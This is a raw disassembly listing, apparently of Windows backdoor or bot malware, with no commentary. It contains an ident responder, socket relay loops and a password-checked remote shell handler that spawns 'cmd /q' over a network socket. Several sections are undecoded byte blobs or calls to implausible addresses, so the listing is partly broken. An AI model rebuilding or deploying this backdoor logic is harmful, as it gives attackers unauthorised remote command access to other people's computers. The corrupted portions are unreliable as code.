sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4D0824
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4D08A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_44376C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4D084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_439884
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_439840
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4D08BC
		push	dword ptr [ebp-4]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4D08A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_44376C[ecx], eax
		call	dword_4D0734
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0850
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4D084C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D08B8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4398EC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_443764[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		db 0E8h, 26h, 0FBh
		dd 8B900227h, 0C969C44Dh, 234h,	8189C63Bh, 443774h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 27E89032h, 0EB022709h,	90E890EDh
		dd 50022805h, 4398B068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4D08A4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4D0824
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4D08A8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4D07DC


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_439974
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_44376C[ebx]
		mov	dword_443764[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_443770[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_443774[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D083C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_439934
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_44376C[eax]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_443770[esi]
		call	dword_4D083C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_44376C[esi]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_443770[esi]
		call	dword_4D08BC
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2DF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_44376C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4D080C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D083C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4D0778
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4D07B8
		push	eax
		push	offset unk_439A4C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4429D8
		push	dword ptr [esi]
		call	dword_4D0874
		cmp	dword_4D3588, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4D0874
		push	dword ptr [esi]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_439A10
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_4399E4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	near ptr 26F0000h
		nop


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4399B8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_439A78
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_439AA4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 9415FF00h, 33004D07h, 74C63BF6h, 1468501Dh, 0E800439Ch
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Dh, 410CCBh, 36FECAE8h, 0C0859002h, 0DCE82975h
		dd 900227FFh, 9BD06850h, 59E80043h, 59000047h, 7C15FF59h
		dd 0FF004D07h, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022DF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 82415FFh, 66A004Dh, 66026A57h, 89E24589h
		dd 15FFE475h, 4D08A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 44376Ch, 50E0458Dh
		dd 5015FF53h, 85004D08h, 17850FC0h, 68000001h, 7FFFFFFFh
		dd 4C15FF53h, 85004D08h, 3850FC0h, 68000001h, 439B94h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4D08B8h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4D0804h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4D08B015h, 858D5000h
		dd 0FFFFFBECh, 439B5068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	64888924h
		dd 8D004437h, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0F3E6E850h, 8B900227h, 0C969B84Dh, 234h
		dd 8189C63Bh, 443774h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0E7E89032h, 0EB022701h, 0FE51E8EDh, 50900227h, 439B1468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h,	50004D07h
		dd 0FBEC858Dh, 0DC68FFFFh, 5000439Ah, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4D08BC15h, 15FF5300h
		dd 4D08BCh, 77C15FFh, 75FF004Dh, 0A750E8B4h, 5659FFFFh
		dd 2DF337E8h, 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_44376C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_439C74
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_439C74
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0BC8h


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2780C80h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_439C40
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 26A0BC8h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2710A5Eh


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4D08BC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_439D24
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_439CE4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_439CBC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
